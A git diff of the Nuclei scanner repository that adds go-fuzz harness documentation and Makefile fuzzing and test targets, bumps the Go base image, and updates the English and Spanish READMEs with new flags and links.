@@ -454,7 +454,7 @@ func (template *Template) compileProtocolRequests(options protocols.ExecuterOpti
|
||||
}
|
||||
```
|
||||
|
||||
That's it, you've added a new protocol to Nuclei. The next good step would be to write integration tests which are described in `integration-tests` and `cmd/integration-tests` directories.
|
||||
That's it, you've added a new protocol to Nuclei. The next good step would be to add native integration coverage under `internal/tests/integration` and run it with `go test -tags=integration ./internal/tests/integration`.
|
||||
|
||||
|
||||
## Profiling and Tracing
|
||||
|
||||
+1
-1
@@ -1,5 +1,5 @@
|
||||
# Build
|
||||
FROM golang:1.24-alpine AS builder
|
||||
FROM golang:1.27-alpine AS builder
|
||||
|
||||
RUN apk add build-base
|
||||
WORKDIR /app
|
||||
|
||||
+91
@@ -0,0 +1,91 @@
|
||||
# Fuzzing
|
||||
|
||||
Nuclei uses `go-fuzz` for targeted harnesses behind the `gofuzz` build tag.
|
||||
|
||||
## Targets
|
||||
|
||||
The Makefile exposes these go-fuzz targets:
|
||||
|
||||
```bash
|
||||
make build-fuzz GOFUZZ_PACKAGE=./pkg/operators/matchers
|
||||
make fuzz GOFUZZ_PACKAGE=./pkg/operators/matchers
|
||||
```
|
||||
|
||||
Required variable:
|
||||
|
||||
- `GOFUZZ_PACKAGE`: any package path that `go list` can resolve from the repo root. The normal form in this repo is a relative package path such as `./pkg/operators/matchers`.
|
||||
|
||||
`build-fuzz`, `fuzz`, and `fuzz-ci` derive everything else from that package path:
|
||||
|
||||
- workdir: `<package>/.gofuzz/`
|
||||
- seed corpus: `<package>/testdata/gofuzz-corpus/`
|
||||
- instrumented archive: `<package>/.gofuzz/<pkgname>-fuzz.zip`
|
||||
|
||||
`discover-fuzz-packages` emits the GitHub Actions matrix JSON to stdout, and writes `matrix=...` to `GITHUB_OUTPUT` when that file is present.
|
||||
|
||||
`fuzz-ci` wraps `make fuzz` in the CI timeout.
|
||||
|
||||
`build-fuzz` and `fuzz` fail immediately if `GOFUZZ_PACKAGE` is missing, the package cannot be resolved, or the seed corpus directory is missing or empty.
|
||||
|
||||
## Examples
|
||||
|
||||
Operators (matchers & extractors) harness:
|
||||
|
||||
```bash
|
||||
make fuzz GOFUZZ_PACKAGE=./pkg/operators/matchers
|
||||
make fuzz GOFUZZ_PACKAGE=./pkg/operators/extractors
|
||||
```
|
||||
|
||||
**Harness Coverage**:
|
||||
|
||||
Matchers exercise `Matcher.CompileMatchers()` through a compact line-based grammar. Supported keys are:
|
||||
|
||||
- `type`
|
||||
- `condition`
|
||||
- `part`
|
||||
- `encoding`
|
||||
- `negative`
|
||||
- `case-insensitive`
|
||||
- `match-all`
|
||||
- `name`
|
||||
- `value`
|
||||
- `status`
|
||||
- `size`
|
||||
|
||||
Extractors exercise `Extractor.CompileExtractors()` and the matching extraction path with fixed local corpora. Supported keys are:
|
||||
|
||||
- `type`
|
||||
- `part`
|
||||
- `name`
|
||||
- `internal`
|
||||
- `case-insensitive`
|
||||
- `group`
|
||||
- `attribute`
|
||||
- `value`
|
||||
- `regex`
|
||||
- `kval`
|
||||
- `json`
|
||||
- `xpath`
|
||||
- `dsl`
|
||||
|
||||
## Artifacts
|
||||
|
||||
Each run writes under `<package>/.gofuzz/`:
|
||||
|
||||
- `corpus/`: evolving seed corpus used by `go-fuzz`.
|
||||
- `crashers/`: saved crashing inputs.
|
||||
- `*-fuzz.zip`: the instrumented build output created by `go-fuzz-build`.
|
||||
|
||||
Promote real crashers into ordinary regression tests in the owning package once the underlying issue is fixed.
|
||||
|
||||
## GitHub Actions
|
||||
|
||||
The repository also has a dedicated GitHub Actions fuzz workflow in `.github/workflows/fuzz.yaml`.
|
||||
|
||||
- Triggers: `workflow_dispatch` and a weekly `schedule`.
|
||||
- Scheduled runs: limited to `projectdiscovery/nuclei`; manual dispatch still works in forks.
|
||||
- Matrix source: any package that has committed seeds under `testdata/gofuzz-corpus/` and a sibling `fuzz.go` harness.
|
||||
- Current package matrix: `./pkg/operators/matchers` and `./pkg/operators/extractors`.
|
||||
- Runtime model: discovery runs `make discover-fuzz-packages`, and each package runs `CI=true make fuzz-ci GOFUZZ_PACKAGE=... FUZZ_DURATION=15m`.
|
||||
- Artifacts: each matrix job uploads the full `<package>/.gofuzz/` as the artifacts.
|
||||
- Failure policy: crashers are summarized and uploaded, but they do not fail the workflow; build/setup errors still fail the job.
|
||||
@@ -2,34 +2,41 @@
|
||||
GOCMD := go
|
||||
GOBUILD := $(GOCMD) build
|
||||
GOBUILD_OUTPUT :=
|
||||
GOBUILD_OUTPUT_EXT :=
|
||||
GOBUILD_PACKAGES :=
|
||||
GOBUILD_ADDITIONAL_ARGS :=
|
||||
GOMOD := $(GOCMD) mod
|
||||
GOTEST := $(GOCMD) test
|
||||
GOFLAGS := -v
|
||||
GOFUZZ_PACKAGE ?=
|
||||
FUZZ_DURATION ?= 15m
|
||||
# This should be disabled if the binary uses pprof
|
||||
LDFLAGS := -s -w
|
||||
|
||||
ifneq ($(shell go env GOOS),darwin)
|
||||
LDFLAGS += -extldflags "-static"
|
||||
endif
|
||||
|
||||
.PHONY: all build build-stats clean devtools-all devtools-bindgen devtools-scrapefuncs
|
||||
.PHONY: devtools-tsgen docs docgen dsl-docs functional fuzzplayground go-build lint lint-strict syntax-docs
|
||||
.PHONY: integration jsupdate-all jsupdate-bindgen jsupdate-tsgen memogen scan-charts test test-with-lint
|
||||
.PHONY: tidy ts verify download vet template-validate
|
||||
|
||||
ifeq ($(shell go env GOOS),windows)
|
||||
GOBUILD_OUTPUT_EXT := .exe
|
||||
endif
|
||||
|
||||
.PHONY: all build build-stats clean devtools-all devtools-bindgen devtools-scrapefuncs fuzz fuzz-ci fuzz-tools
|
||||
.PHONY: devtools-tsgen docs docgen dsl-docs functional go-build lint lint-strict fuzzplayground syntax-docs
|
||||
.PHONY: integration integration-debug regression jsupdate-all jsupdate-bindgen jsupdate-tsgen memogen scan-charts test test-with-lint
|
||||
.PHONY: tidy ts verify download vet template-validate build-fuzz discover-fuzz-packages
|
||||
|
||||
all: build
|
||||
|
||||
clean:
|
||||
rm -f '${GOBUILD_OUTPUT}' 2>/dev/null
|
||||
rm -f '${GOBUILD_OUTPUT}${GOBUILD_OUTPUT_EXT}' 2>/dev/null
|
||||
|
||||
go-build: clean
|
||||
go-build:
|
||||
CGO_ENABLED=0 $(GOBUILD) -trimpath $(GOFLAGS) -ldflags '${LDFLAGS}' $(GOBUILD_ADDITIONAL_ARGS) \
|
||||
-o '${GOBUILD_OUTPUT}' $(GOBUILD_PACKAGES)
|
||||
-o '${GOBUILD_OUTPUT}${GOBUILD_OUTPUT_EXT}' $(GOBUILD_PACKAGES)
|
||||
|
||||
build: GOFLAGS = -v -pgo=auto
|
||||
build: GOFLAGS = -pgo=auto
|
||||
build: GOBUILD_OUTPUT = ./bin/nuclei
|
||||
build: GOBUILD_PACKAGES = cmd/nuclei/main.go
|
||||
build: go-build
|
||||
@@ -40,7 +47,7 @@ build-test: GOBUILD_PACKAGES = ./cmd/nuclei/
|
||||
build-test: clean
|
||||
build-test:
|
||||
CGO_ENABLED=0 $(GOCMD) test -c -trimpath $(GOFLAGS) -ldflags '${LDFLAGS}' $(GOBUILD_ADDITIONAL_ARGS) \
|
||||
-o '${GOBUILD_OUTPUT}' ${GOBUILD_PACKAGES}
|
||||
-o '${GOBUILD_OUTPUT}${GOBUILD_OUTPUT_EXT}' ${GOBUILD_PACKAGES}
|
||||
|
||||
build-stats: GOBUILD_OUTPUT = ./bin/nuclei-stats
|
||||
build-stats: GOBUILD_PACKAGES = cmd/nuclei/main.go
|
||||
@@ -75,15 +82,34 @@ syntax-docs: docgen
|
||||
syntax-docs:
|
||||
./bin/docgen SYNTAX-REFERENCE.md nuclei-jsonschema.json
|
||||
|
||||
test: GOFLAGS = -race -v -timeout 30m -count 1
|
||||
# RACE controls the data-race detector (on by default for local runs). CI builds
|
||||
# the race variant on a single OS and passes RACE= elsewhere, since data races are
|
||||
# OS-independent and the detector costs ~2-3x build+run time on every runner.
|
||||
RACE ?= -race
|
||||
test: GOFLAGS = $(RACE) -v -timeout 1h -count 1
|
||||
test:
|
||||
$(GOTEST) $(GOFLAGS) ./...
|
||||
|
||||
integration:
|
||||
cd integration_tests; bash run.sh
|
||||
$(GOTEST) -tags=integration -timeout 1h ./internal/tests/integration
|
||||
|
||||
functional:
|
||||
cd cmd/functional-test; bash run.sh
|
||||
integration-debug:
|
||||
$(GOTEST) -tags=integration ./internal/tests/integration -v $(GO_TEST_ARGS) -args $(INTEGRATION_ARGS)
|
||||
|
||||
# Opt-in HTTP engine scale regression harness (not part of CI). Stands up many
|
||||
# loopback hosts and asserts finding parity across a diverse template set.
|
||||
# Override host count with NUCLEI_SCALE_HOSTS, e.g. NUCLEI_SCALE_HOSTS=500 make regression
|
||||
regression:
|
||||
$(GOTEST) -tags=regression -timeout 30m ./lib/tests -run TestScaleRegression -v
|
||||
|
||||
functional: build
|
||||
@release_binary="$$(command -v nuclei.exe 2>/dev/null || command -v nuclei 2>/dev/null)"; \
|
||||
if [ -z "$$release_binary" ]; then \
|
||||
echo "release nuclei binary not found on PATH"; \
|
||||
exit 1; \
|
||||
fi; \
|
||||
RELEASE_BINARY="$$release_binary" DEV_BINARY="$(PWD)/bin/nuclei" \
|
||||
$(GOTEST) -tags=functional -timeout 1h ./internal/tests/functional
|
||||
|
||||
tidy:
|
||||
$(GOMOD) tidy
|
||||
@@ -132,6 +158,121 @@ fuzzplayground: GOBUILD_PACKAGES = cmd/tools/fuzzplayground/main.go
|
||||
fuzzplayground: LDFLAGS = -s -w
|
||||
fuzzplayground: go-build
|
||||
|
||||
fuzz-tools:
|
||||
@$(GOCMD) tool -modfile=go.tool.mod -n go-fuzz-build >/dev/null
|
||||
@$(GOCMD) tool -modfile=go.tool.mod -n go-fuzz >/dev/null
|
||||
|
||||
discover-fuzz-packages:
|
||||
@set -eu; \
|
||||
entries_file="$$(mktemp)"; \
|
||||
trap 'rm -f "$$entries_file"' EXIT HUP INT TERM; \
|
||||
find . -type d -path '*/testdata/gofuzz-corpus' | LC_ALL=C sort | while IFS= read -r corpus_dir; do \
|
||||
pkg_dir="$${corpus_dir%/testdata/gofuzz-corpus}"; \
|
||||
if [ ! -f "$$pkg_dir/fuzz.go" ]; then \
|
||||
continue; \
|
||||
fi; \
|
||||
pkg_dir="$${pkg_dir#./}"; \
|
||||
pkg="./$$pkg_dir"; \
|
||||
if ! $(GOCMD) list "$$pkg" >/dev/null 2>&1; then \
|
||||
echo "failed to resolve $$pkg"; \
|
||||
exit 1; \
|
||||
fi; \
|
||||
jq -cn --arg pkg "$$pkg" '{pkg: $$pkg}' >> "$$entries_file"; \
|
||||
done; \
|
||||
if [ ! -s "$$entries_file" ]; then \
|
||||
echo "no fuzzable packages discovered"; \
|
||||
exit 1; \
|
||||
fi; \
|
||||
matrix="$$(jq -cs '{include: .}' "$$entries_file")"; \
|
||||
if [ -n "$${GITHUB_OUTPUT:-}" ]; then \
|
||||
printf 'matrix=%s\n' "$$matrix" >> "$${GITHUB_OUTPUT}"; \
|
||||
else \
|
||||
printf '%s\n' "$$matrix"; \
|
||||
fi
|
||||
|
||||
build-fuzz: fuzz-tools
|
||||
@if [ -z "$(GOFUZZ_PACKAGE)" ]; then echo "GOFUZZ_PACKAGE is required"; exit 1; fi
|
||||
@PACKAGE_DIR="$$( $(GOCMD) list -f '{{.Dir}}' $(GOFUZZ_PACKAGE) 2>/dev/null )" || { \
|
||||
echo "failed to resolve GOFUZZ_PACKAGE: $(GOFUZZ_PACKAGE)"; \
|
||||
exit 1; \
|
||||
}; \
|
||||
WORKDIR="$$PACKAGE_DIR/.gofuzz"; \
|
||||
CORPUS_DIR="$$PACKAGE_DIR/testdata/gofuzz-corpus"; \
|
||||
BIN_PATH="$$WORKDIR/$$(basename "$$PACKAGE_DIR")-fuzz.zip"; \
|
||||
if [ ! -d "$$CORPUS_DIR" ]; then \
|
||||
echo "seed corpus directory does not exist: $$CORPUS_DIR"; \
|
||||
exit 1; \
|
||||
fi; \
|
||||
set -- "$$CORPUS_DIR"/*; \
|
||||
if [ "$$1" = "$$CORPUS_DIR/*" ]; then \
|
||||
echo "seed corpus directory has no seed files: $$CORPUS_DIR"; \
|
||||
exit 1; \
|
||||
fi; \
|
||||
mkdir -p "$$WORKDIR/corpus"; \
|
||||
cp -f "$$CORPUS_DIR"/* "$$WORKDIR/corpus/"; \
|
||||
GO111MODULE=on $(GOCMD) tool -modfile=go.tool.mod go-fuzz-build -o "$$BIN_PATH" $(GOFUZZ_PACKAGE)
|
||||
|
||||
fuzz: build-fuzz
|
||||
@PACKAGE_DIR="$$( $(GOCMD) list -f '{{.Dir}}' $(GOFUZZ_PACKAGE) 2>/dev/null )" || { \
|
||||
echo "failed to resolve GOFUZZ_PACKAGE: $(GOFUZZ_PACKAGE)"; \
|
||||
exit 1; \
|
||||
}; \
|
||||
WORKDIR="$$PACKAGE_DIR/.gofuzz"; \
|
||||
BIN_PATH="$$WORKDIR/$$(basename "$$PACKAGE_DIR")-fuzz.zip"; \
|
||||
$(GOCMD) tool -modfile=go.tool.mod go-fuzz -bin="$$BIN_PATH" -workdir="$$WORKDIR"
|
||||
|
||||
fuzz-ci:
|
||||
@if [ "$${CI:-}" != "true" ]; then echo "fuzz-ci should be run in CI; use 'make fuzz' locally"; exit 1; fi
|
||||
@if [ -z "$(GOFUZZ_PACKAGE)" ]; then echo "GOFUZZ_PACKAGE is required"; exit 1; fi
|
||||
@set -eu; \
|
||||
pkg_dir="$(GOFUZZ_PACKAGE)"; \
|
||||
pkg_dir="$${pkg_dir#./}"; \
|
||||
workdir="$$pkg_dir/.gofuzz"; \
|
||||
pkg_id="$$(printf '%s' "$$pkg_dir" | tr '/.' '-')"; \
|
||||
artifact_name="gofuzz-$$pkg_id"; \
|
||||
if [ -n "$${GITHUB_OUTPUT:-}" ]; then \
|
||||
printf 'artifact_name=%s\n' "$$artifact_name" >> "$${GITHUB_OUTPUT}"; \
|
||||
fi; \
|
||||
mkdir -p "$$workdir"; \
|
||||
timeout_bin="$$(command -v timeout || command -v gtimeout || true)"; \
|
||||
if [ -z "$$timeout_bin" ]; then \
|
||||
echo "timeout command not found"; \
|
||||
exit 1; \
|
||||
fi; \
|
||||
exit_code=0; \
|
||||
"$$timeout_bin" "$(FUZZ_DURATION)" $(MAKE) --no-print-directory fuzz GOFUZZ_PACKAGE="$(GOFUZZ_PACKAGE)" || exit_code=$$?; \
|
||||
if [ "$$exit_code" -ne 0 ] && [ "$$exit_code" -ne 124 ]; then \
|
||||
echo "fuzzing failed with exit code $$exit_code"; \
|
||||
exit "$$exit_code"; \
|
||||
fi; \
|
||||
count_files() { \
|
||||
dir="$$1"; \
|
||||
if [ ! -d "$$dir" ]; then \
|
||||
echo 0; \
|
||||
return; \
|
||||
fi; \
|
||||
if [ "$$(basename "$$dir")" = "crashers" ]; then \
|
||||
find "$$dir" -maxdepth 1 -type f -printf '%f\n' | sed -E 's/\.(output|quoted)$$//' | sort -u | wc -l | tr -d '[:space:]'; \
|
||||
return; \
|
||||
fi; \
|
||||
find "$$dir" -maxdepth 1 -type f | wc -l | tr -d '[:space:]'; \
|
||||
}; \
|
||||
crasher_count="$$(count_files "$$workdir/crashers")"; \
|
||||
corpus_count="$$(count_files "$$workdir/corpus")"; \
|
||||
suppressions_count="$$(count_files "$$workdir/suppressions")"; \
|
||||
if [ -n "$${GITHUB_STEP_SUMMARY:-}" ]; then \
|
||||
{ \
|
||||
echo "## \`$(GOFUZZ_PACKAGE)\`"; \
|
||||
echo; \
|
||||
echo "- Corpus: $$corpus_count"; \
|
||||
echo "- Crashers: $$crasher_count"; \
|
||||
echo "- Suppressions: $$suppressions_count"; \
|
||||
echo; \
|
||||
} >> "$${GITHUB_STEP_SUMMARY}"; \
|
||||
else \
|
||||
printf 'Package: %s\nCorpus: %s\nCrashers: %s\nSuppressions: %s\n' "$(GOFUZZ_PACKAGE)" "$$corpus_count" "$$crasher_count" "$$suppressions_count"; \
|
||||
fi
|
||||
|
||||
memogen: GOBUILD_OUTPUT = ./bin/memogen
|
||||
memogen: GOBUILD_PACKAGES = cmd/memogen/memogen.go
|
||||
memogen: go-build
|
||||
|
||||
@@ -8,7 +8,8 @@
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">`Indonesia`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a>
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a>
|
||||
|
||||
</div>
|
||||
|
||||
@@ -63,11 +64,11 @@
|
||||
|
||||
### **1. Nuclei CLI**
|
||||
|
||||
_Install Nuclei on your machine. Get started by following the installation guide [**`here`**](https://docs.projectdiscovery.io/tools/nuclei/install?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme). Additionally, We provide [**`a free cloud tier`**](https://cloud.projectdiscovery.io/sign-up) and comes with a generous monthly free limits:_
|
||||
_Install Nuclei on your machine. Get started by following the installation guide [**`here`**](https://docs.projectdiscovery.io/tools/nuclei/install?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme). Additionally, we provide [**`a free cloud tier`**](https://cloud.projectdiscovery.io/sign-up) that comes with generous monthly free limits:_
|
||||
|
||||
- Store and visualize your vulnerability findings
|
||||
- Write and manage your nuclei templates
|
||||
- Access latest nuclei templates
|
||||
- Write and manage your Nuclei templates
|
||||
- Access the latest Nuclei templates
|
||||
- Discover and store your targets
|
||||
|
||||
> [!Important]
|
||||
@@ -90,7 +91,7 @@ _For security teams and enterprises, we provide a cloud-hosted service built on
|
||||
- We're constantly [**`adding new features`**](https://feedback.projectdiscovery.io/changelog)!
|
||||
- **Ideal for:** Pentesters, security teams, and enterprises
|
||||
|
||||
[**`Sign up to Pro`**](https://projectdiscovery.io/pricing?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) or [**`Talk to our team`**](https://projectdiscovery.io/request-demo?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) if you have large organization and complex requirements.
|
||||
[**`Sign up to Pro`**](https://projectdiscovery.io/pricing?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) or [**`Talk to our team`**](https://projectdiscovery.io/request-demo?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme) if you have a large organization and complex requirements.
|
||||
|
||||
<br>
|
||||
<br>
|
||||
@@ -139,15 +140,18 @@ Flags:
|
||||
TARGET:
|
||||
-u, -target string[] target URLs/hosts to scan
|
||||
-l, -list string path to file containing a list of target URLs/hosts to scan (one per line)
|
||||
-targets-inline string inline multiline target list (for use in template profiles)
|
||||
-eh, -exclude-hosts string[] hosts to exclude to scan from the input list (ip, cidr, hostname)
|
||||
-resume string resume scan from and save to specified file (clustering will be disabled)
|
||||
-sa, -scan-all-ips scan all the IP's associated with dns record
|
||||
-iv, -ip-version string[] IP version to scan of hostname (4,6) - (default 4)
|
||||
|
||||
TARGET-FORMAT:
|
||||
-im, -input-mode string mode of input file (list, burp, jsonl, yaml, openapi, swagger) (default "list")
|
||||
-im, -input-mode string mode of input file (list, burp, jsonl, yaml, openapi, swagger, http) (default "list")
|
||||
-ro, -required-only use only required fields in input format when generating requests
|
||||
-sfv, -skip-format-validation skip format validation (like missing vars) when parsing input file
|
||||
-vtt, -vars-text-templating enable text templating for vars in input file (only for yaml input mode)
|
||||
-vfp, -var-file-paths string[] list of yaml file contained vars to inject into yaml input
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates run only new templates added in latest nuclei-templates release
|
||||
@@ -204,6 +208,7 @@ OUTPUT:
|
||||
-se, -sarif-export string file to export results in SARIF format
|
||||
-je, -json-export string file to export results in JSON format
|
||||
-jle, -jsonl-export string file to export results in JSONL(ine) format
|
||||
-pe, -pdf-export string file to export results in PDF format
|
||||
-rd, -redact string[] redact given list of keys from query parameter, request header and body
|
||||
|
||||
CONFIGURATIONS:
|
||||
@@ -276,6 +281,7 @@ UNCOVER:
|
||||
RATE-LIMIT:
|
||||
-rl, -rate-limit int maximum number of requests to send per second (default 150)
|
||||
-rld, -rate-limit-duration value maximum number of requests to send per second (default 1s)
|
||||
-per-host-rate-limit enable per-host rate limiting (global rate limit becomes unlimited when enabled)
|
||||
-rlm, -rate-limit-minute int maximum number of requests to send per minute (DEPRECATED)
|
||||
-bs, -bulk-size int maximum number of hosts to be analyzed in parallel per template (default 25)
|
||||
-c, -concurrency int maximum number of templates to be executed in parallel (default 25)
|
||||
@@ -300,6 +306,7 @@ OPTIMIZATIONS:
|
||||
-ss, -scan-strategy value strategy to use while scanning(auto/host-spray/template-spray) (default auto)
|
||||
-irt, -input-read-timeout value timeout on input read (default 3m0s)
|
||||
-nh, -no-httpx disable httpx probing for non-url input
|
||||
-preflight-portscan run preflight resolve + TCP portscan and filter targets before scanning (disabled by default)
|
||||
-no-stdin disable stdin processing
|
||||
|
||||
HEADLESS:
|
||||
@@ -308,6 +315,7 @@ HEADLESS:
|
||||
-sb, -show-browser show the browser on the screen when running templates with headless mode
|
||||
-ho, -headless-options string[] start headless chrome with additional options
|
||||
-sc, -system-chrome use local installed Chrome browser instead of nuclei installed
|
||||
-cdpe, -cdp-endpoint string use remote browser via Chrome DevTools Protocol (CDP) endpoint
|
||||
-lha, -list-headless-action list available headless actions
|
||||
|
||||
DEBUG:
|
||||
@@ -336,6 +344,11 @@ UPDATE:
|
||||
-ud, -update-template-dir string custom directory to install / update nuclei-templates
|
||||
-duc, -disable-update-check disable automatic nuclei/templates update check
|
||||
|
||||
HONEYPOT:
|
||||
-hpd, -honeypot-detect detect potential honeypot hosts based on match concentration
|
||||
-hpt, -honeypot-threshold int number of distinct template IDs required to flag a honeypot host (default 15)
|
||||
-shp, -suppress-honeypot suppress output for flagged honeypot hosts
|
||||
|
||||
STATISTICS:
|
||||
-stats display statistics about the running scan
|
||||
-sj, -stats-json display statistics in JSONL(ines) format
|
||||
@@ -374,11 +387,11 @@ Run nuclei with a JSON output:
|
||||
Run nuclei with sorted Markdown outputs (with environment variables):
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
|
||||
Additional documentation is available at: https://docs.nuclei.sh/getting-started/running
|
||||
Additional documentation is available at: https://docs.projectdiscovery.io/getting-started/running
|
||||
|
||||
```
|
||||
|
||||
Additional documentation is available at: [**`docs.nuclei.sh/getting-started/running`**](https://docs.nuclei.sh/getting-started/running?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme)
|
||||
Additional documentation is available at: [**`docs.projectdiscovery.io/getting-started/running`**](https://docs.projectdiscovery.io/getting-started/running?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme)
|
||||
|
||||
</details>
|
||||
|
||||
@@ -423,7 +436,7 @@ nuclei -target https://example.com -dashboard
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> This feature is absolutely free and does not require any subscription. For a detailed guide, refer to the [**`documentation`**](https://docs.projectdiscovery.io/cloud/scanning/nuclei-scan?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme).
|
||||
> This feature is absolutely free and does not require any subscription. For a detailed guide, refer to the [**`documentation`**](https://docs.projectdiscovery.io/cloud/scanning/overview?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme).
|
||||
|
||||
<br>
|
||||
<br>
|
||||
|
||||
+594
-379
File diff suppressed because it is too large.
Load diff
+582
-283
@@ -1,371 +1,670 @@
|
||||
<h1 align="center">
|
||||
<br>
|
||||
<a href="https://nuclei.projectdiscovery.io"><img src="static/nuclei-logo.png" width="200px" alt="Nuclei"></a>
|
||||
</h1>
|
||||
|
||||
<h4 align="center">Escáner de vulnerabilidades rápido y personalizable basado en un sencillo DSL basado en YAML.</h4>
|
||||

|
||||
|
||||
<div align="center">
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">`English`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">`中文`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">`Korean`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">`Indonesia`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">`Spanish`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_JP.md">`日本語`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">`Portuguese`</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_TR.md">`Türkçe`</a>
|
||||
|
||||
</div>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases"><img src="https://img.shields.io/github/downloads/projectdiscovery/nuclei/total">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors"><img src="https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases/"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/issues"><img src="https://img.shields.io/github/issues-raw/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/discussions"><img src="https://img.shields.io/github/discussions/projectdiscovery/nuclei">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
|
||||
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#how-it-works">Cómo funciona</a> •
|
||||
<a href="#install-nuclei">Instalación</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/">Documentación</a> •
|
||||
<a href="#credits">Créditos</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/faq">Preguntas Frecuentes</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Únete a Discord</a>
|
||||
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/overview?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Documentation-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNCIgaGVpZ2h0PSIyNCIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMiIgc3Ryb2tlLWxpbmVjYXA9InJvdW5kIiBzdHJva2UtbGluZWpvaW49InJvdW5kIiBjbGFzcz0ibHVjaWRlIGx1Y2lkZS1ib29rLW9wZW4iPjxwYXRoIGQ9Ik0xMiA3djE0Ii8+PHBhdGggZD0iTTMgMThhMSAxIDAgMCAxLTEtMVY0YTEgMSAwIDAgMSAxLTFoNWE0IDQgMCAwIDEgNCA0IDQgNCAwIDAgMSA0LTRoNWExIDEgMCAwIDEgMSAxdjEzYTEgMSAwIDAgMS0xIDFoLTZhMyAzIDAgMCAwLTMgMyAzIDMgMCAwIDAtMy0zeiIvPjwvc3ZnPg==&logoColor=white"></a>
|
||||
|
||||
<a href="https://github.com/projectdiscovery/nuclei-templates"><img src="https://img.shields.io/badge/Templates Library-%23000000.svg?style=for-the-badge&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIxNiIgaGVpZ2h0PSIxNiIgdmlld0JveD0iMCAwIDI0IDI0IiBmaWxsPSJub25lIiBzdHJva2U9IiNmZmZmZmYiIHN0cm9rZS13aWR0aD0iMS41IiBzdHJva2UtbGluZWNhcD0icm91bmQiIHN0cm9rZS1saW5lam9pbj0icm91bmQiIGNsYXNzPSJsdWNpZGUgbHVjaWRlLXNoaWVsZCI+PHBhdGggZD0iTTIwIDEzYzAgNS0zLjUgNy41LTcuNjYgOC45NWExIDEgMCAwIDEtLjY3LS4wMUM3LjUgMjAuNSA0IDE4IDQgMTNWNmExIDEgMCAwIDEgMS0xYzIgMCA0LjUtMS4yIDYuMjQtMi43MmExLjE3IDEuMTcgMCAwIDEgMS41MiAwQzE0LjUxIDMuODEgMTcgNSAxOSA1YTEgMSAwIDAgMSAxIDF6Ii8+PC9zdmc+&logoColor=white"></a>
|
||||
|
||||
<a href="https://discord.gg/projectdiscovery?utm_source=github&utm_medium=web&utm_campaign=nuclei_readme"><img src="https://img.shields.io/badge/Discord-%235865F2.svg?style=for-the-badge&logo=discord&logoColor=white"></a>
|
||||
|
||||
<hr>
|
||||
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">English</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_PT-BR.md">Portuguese</a>
|
||||
</p>
